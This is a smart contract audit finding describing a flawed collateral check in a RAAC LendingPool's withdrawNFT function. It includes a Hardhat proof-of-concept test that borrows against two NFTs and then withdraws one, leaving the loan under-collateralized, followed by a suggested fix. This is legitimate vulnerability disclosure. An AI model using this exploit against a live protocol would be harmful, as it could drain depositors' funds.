Summary
The LendingPool::withdrawNFT function contains improper sanity check for maintaining the loan above liquidation threshold upon a NFT withdrawal, allowing loans to be under-collateralized.
Vulnerability Details
The protocol leverages RWA backed NFTs as collaterals, which are minted via RAACNFT::mint.
Users can simply take loans via the LendingPool::borrow function, which considers the combined deposited NFT value as collateral.
However, the LendingPool::withdrawNFT contains a logical flaw which allows leaving loans under-collaterlized.
function withdrawNFT(uint256 tokenId) external nonReentrant whenNotPaused {
if (collateralValue - nftValue < userDebt.percentMul(liquidationThreshold)) { <<@ -
revert WithdrawalWouldLeaveUserUnderCollateralized();
}
}
Hence, this allows a clear breach of liquidation threshold.
Impact
Protocol would be insolvent due to the ability to have borrowed more than the collateral provided.
Breach of liquidation thershold.
Loss of funds for the depositors.
Proof of Concept
Add the following test case inside the LendingPool.test.js file:
describe("Incorrect WithdrawNFT implementation", function () {
beforeEach(async function () {
await raacHousePrices.setHousePrice(2, ethers.parseEther("65"));
await raacHousePrices.setHousePrice(3, ethers.parseEther("35"));
await crvusd.connect(user1).approve(raacNFT.target, ethers.parseEther("1000"));
await raacNFT.connect(user1).mint(2, ethers.parseEther("66"));
await raacNFT.connect(user1).mint(3, ethers.parseEther("36"));
let tokenId = 2;
await raacNFT.connect(user1).approve(lendingPool.target, tokenId);
await lendingPool.connect(user1).depositNFT(tokenId);
tokenId = 3;
await raacNFT.connect(user1).approve(lendingPool.target, tokenId);
await lendingPool.connect(user1).depositNFT(tokenId);
});
it("Leave loan undercollateralized", async function () {
const borrowAmount = ethers.parseEther("80");
await lendingPool.connect(user1).borrow(borrowAmount);
await lendingPool.connect(user1).withdrawNFT(3);
});
});
The above test case shows how we can keep the loan under-collaterlized.
Tools Used
Manual Review
/
Hardhat
Recommendations
It is recommended to implement the threshold upon the collateral instead of the user debt, a suggested correction would be:
function withdrawNFT(uint256 tokenId) external nonReentrant whenNotPaused {
if (userDebt < (collateralValue - nftValue).percentMul(liquidationThreshold)) {
revert WithdrawalWouldLeaveUserUnderCollateralized();
}
}